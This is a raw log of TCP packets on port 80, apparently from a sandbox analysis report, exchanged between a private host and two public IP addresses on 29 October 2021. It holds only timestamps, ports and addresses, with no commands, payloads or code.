Oct 29, 2021 20:30:03.380564928 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.380584002 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.380589962 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.380614042 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.380635977 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.380645990 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.380651951 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.380671024 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.380702019 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.380705118 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.380784988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.380805016 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.380824089 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.380839109 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.380865097 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.380877972 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.380892038 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.381405115 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.381427050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.381448030 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.381449938 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.381464005 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.381470919 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.381496906 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.381516933 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.382468939 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.382496119 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.382523060 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.382543087 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.382544041 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.382561922 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.382584095 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.382606030 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.382606030 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.382621050 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.382627010 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.382668972 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.382694006 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383008003 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383030891 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383049965 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383049965 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383066893 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383076906 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383088112 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383090973 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383115053 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383115053 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383137941 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383138895 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383156061 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383160114 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383179903 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383208036 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383449078 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383506060 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383528948 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383553028 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383560896 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383575916 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383577108 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383599997 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383605957 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383619070 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383626938 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383641005 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383657932 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383662939 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383667946 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383686066 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383699894 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383702040 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.383721113 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.383755922 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384130955 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384159088 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384171963 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384191990 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384192944 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384201050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384213924 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384227991 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384243011 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384247065 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384262085 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384268999 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384293079 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384294033 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384304047 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384320021 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384341955 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384345055 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384360075 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384370089 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384386063 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384394884 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384409904 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384411097 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384430885 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384449959 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384670019 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384696007 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384718895 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384733915 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384735107 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384767056 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384774923 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.384927988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384953022 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384974003 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384989023 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.384989023 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.385009050 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.385041952 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.385137081 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.385159016 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.385178089 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.385191917 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.385201931 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.385212898 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.385231018 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.385234118 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.385236979 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.385255098 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.385271072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.385274887 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.385296106 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.385324001 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.391346931 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.391357899 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.391375065 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.391428947 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.391441107 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.391453981 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.391515970 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.391521931 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.392708063 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.392726898 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.392765045 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.392784119 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.392788887 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.392795086 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.392812967 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.392834902 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.392839909 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.392864943 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.392870903 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.392889023 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.392893076 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.392909050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.392913103 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.392930031 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.392941952 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.392951965 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.392952919 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.392976046 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.392976999 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.392997026 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.392997026 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.393018007 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.393029928 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.393040895 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.393058062 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.393104076 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.393109083 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.393709898 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.393718004 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.393760920 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.393775940 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.393781900 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.393798113 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.393804073 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.393821955 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.393824100 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.393842936 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.393850088 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.393866062 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.393868923 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.393887043 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.393896103 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.393915892 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.393934011 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.394292116 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.394336939 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.394352913 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.394370079 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.394392014 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.394411087 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.394413948 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.394419909 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.394431114 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.394459009 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395387888 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395418882 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395442009 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395447016 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395464897 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395466089 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395476103 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395484924 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395503998 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395524025 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395529032 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395541906 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395548105 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395564079 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395572901 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395586967 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395596981 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395617008 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395632982 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395639896 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395641088 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395663977 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395684958 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395689011 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395706892 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395716906 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395724058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395747900 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395776033 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395785093 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395788908 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395796061 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395811081 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395829916 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395842075 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395848036 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395850897 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395868063 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395884037 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395885944 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395905018 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395905018 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395927906 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395950079 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395951986 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395962000 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.395967960 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.395998955 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.396136045 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.419063091 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.419090986 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.419111967 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.419187069 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.419650078 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.419704914 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.421072006 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.421101093 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.421122074 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.421159983 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.421525002 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.423629045 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.433453083 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.433492899 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.433514118 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.433535099 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.433581114 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.433618069 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.447212934 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447246075 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447268963 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447292089 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447314978 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447324991 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.447339058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447361946 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.447364092 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447382927 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.447387934 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447411060 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447424889 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.447433949 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447455883 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447478056 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447494030 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.447500944 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447524071 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447526932 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.447546959 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447561026 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.447691917 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447745085 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447787046 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.447815895 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447838068 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447854996 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.447880030 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447900057 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447936058 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.447936058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.447969913 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.448018074 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.448050976 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.448074102 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.448096991 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.448112965 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.448121071 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.448141098 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.449261904 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449323893 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449327946 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.449351072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449376106 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449397087 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449410915 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.449419975 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449444056 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449445009 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.449486017 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.449577093 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449644089 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449666977 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449687958 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449707985 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.449708939 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449733973 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449734926 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.449755907 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449775934 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.449776888 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449799061 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449820042 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449841022 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449843884 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.449862957 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449884892 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449887991 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.449908972 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.449909925 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449934006 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.449953079 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.449955940 CEST	80	49859	45.141.84.21	192.168.2.3
